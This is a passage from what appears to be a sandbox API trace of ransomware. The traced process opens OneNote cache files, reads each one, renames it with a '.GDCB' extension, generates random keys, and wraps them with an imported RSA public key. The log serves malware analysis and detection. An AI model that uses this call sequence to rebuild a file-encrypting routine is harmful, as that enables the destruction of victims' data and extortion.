data\\microsoft\\onenote\\16.0\\cache\\0000000v.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.507] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.508] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.509] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0xff1, lpOverlapped=0x0) returned 1 [0184.518] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.523] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000V.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000v.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000V.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000v.bin.gdcb")) returned 1 [0184.528] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.529] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.530] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.530] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.530] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.532] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.532] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.532] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0184.534] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81e58) returned 1 [0184.534] CryptGetKeyParam (in: hKey=0x4f81e58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.534] CryptEncrypt (in: hKey=0x4f81e58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.535] GetLastError () returned 0x0 [0184.535] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.535] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0184.536] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81fd8) returned 1 [0184.537] CryptGetKeyParam (in: hKey=0x4f81fd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.537] CryptEncrypt (in: hKey=0x4f81fd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.537] GetLastError () returned 0x0 [0184.537] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.537] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000010.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000010.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.539] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.540] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.541] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x784, lpOverlapped=0x0) returned 1 [0184.555] VirtualAlloc (lpAddress=0x0, dwSize=0x790, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.559] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000010.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000010.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000010.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000010.bin.gdcb")) returned 1 [0184.565] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.567] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.567] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.567] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.567] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.569] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.569] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.569] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0184.571] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82118) returned 1 [0184.571] CryptGetKeyParam (in: hKey=0x4f82118, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.571] CryptEncrypt (in: hKey=0x4f82118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.571] GetLastError () returned 0x0 [0184.571] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.571] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0184.573] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82398) returned 1 [0184.573] CryptGetKeyParam (in: hKey=0x4f82398, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.573] CryptEncrypt (in: hKey=0x4f82398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.573] GetLastError () returned 0x0 [0184.573] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.573] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000011.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000011.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.611] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.612] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.613] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0xa27, lpOverlapped=0x0) returned 1 [0184.885] VirtualAlloc (lpAddress=0x0, dwSize=0xa30, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.890] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000011.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000011.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000011.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000011.bin.gdcb")) returned 1 [0184.897] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.900] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.900] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.900] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0184.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.902] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.902] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.902] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0184.904] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82258) returned 1 [0184.904] CryptGetKeyParam (in: hKey=0x4f82258, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.904] CryptEncrypt (in: hKey=0x4f82258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.904] GetLastError () returned 0x0 [0184.904] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.904] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0184.906] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81f18) returned 1 [0184.906] CryptGetKeyParam (in: hKey=0x4f81f18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.906] CryptEncrypt (in: hKey=0x4f81f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.907] GetLastError () returned 0x0 [0184.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0184.907] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000012.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000012.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.909] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.910] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.911] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x2cb9, lpOverlapped=0x0) returned 1 [0184.920] VirtualAlloc (lpAddress=0x0, dwSize=0x2cc0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.925] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000012.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000012.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000012.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000012.bin.gdcb")) returned 1 [0184.930] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0184.931] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.932] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.932] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0184.932] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.933] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.934] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.934] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.934] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.934] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0184.936] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82098) returned 1 [0184.936] CryptGetKeyParam (in: hKey=0x4f82098, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.937] CryptEncrypt (in: hKey=0x4f82098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.937] GetLastError () returned 0x0 [0184.937] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0184.937] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0184.939] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81e18) returned 1 [0184.939] CryptGetKeyParam (in: hKey=0x4f81e18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.939] CryptEncrypt (in: hKey=0x4f81e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.939] GetLastError () returned 0x0 [0184.939] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.939] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000013.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000013.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.941] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.942] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.943] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x38d9, lpOverlapped=0x0) returned 1 [0184.967] VirtualAlloc (lpAddress=0x0, dwSize=0x38e0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0184.971] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000013.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000013.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000013.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000013.bin.gdcb")) returned 1 [0184.975] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0184.977] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.978] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.978] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0184.978] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0184.978] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0184.979] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0184.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0184.979] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0184.979] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0184.980] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0184.982] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81f58) returned 1 [0184.982] CryptGetKeyParam (in: hKey=0x4f81f58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.982] CryptEncrypt (in: hKey=0x4f81f58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0184.982] GetLastError () returned 0x0 [0184.982] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0184.982] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0184.985] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f822d8) returned 1 [0184.985] CryptGetKeyParam (in: hKey=0x4f822d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0184.985] CryptEncrypt (in: hKey=0x4f822d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0184.985] GetLastError () returned 0x0 [0184.985] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0184.985] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000014.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000014.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0184.987] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0184.988] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0184.990] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x2c44, lpOverlapped=0x0) returned 1 [0185.042] VirtualAlloc (lpAddress=0x0, dwSize=0x2c50, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.046] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000014.bin" (normalized: 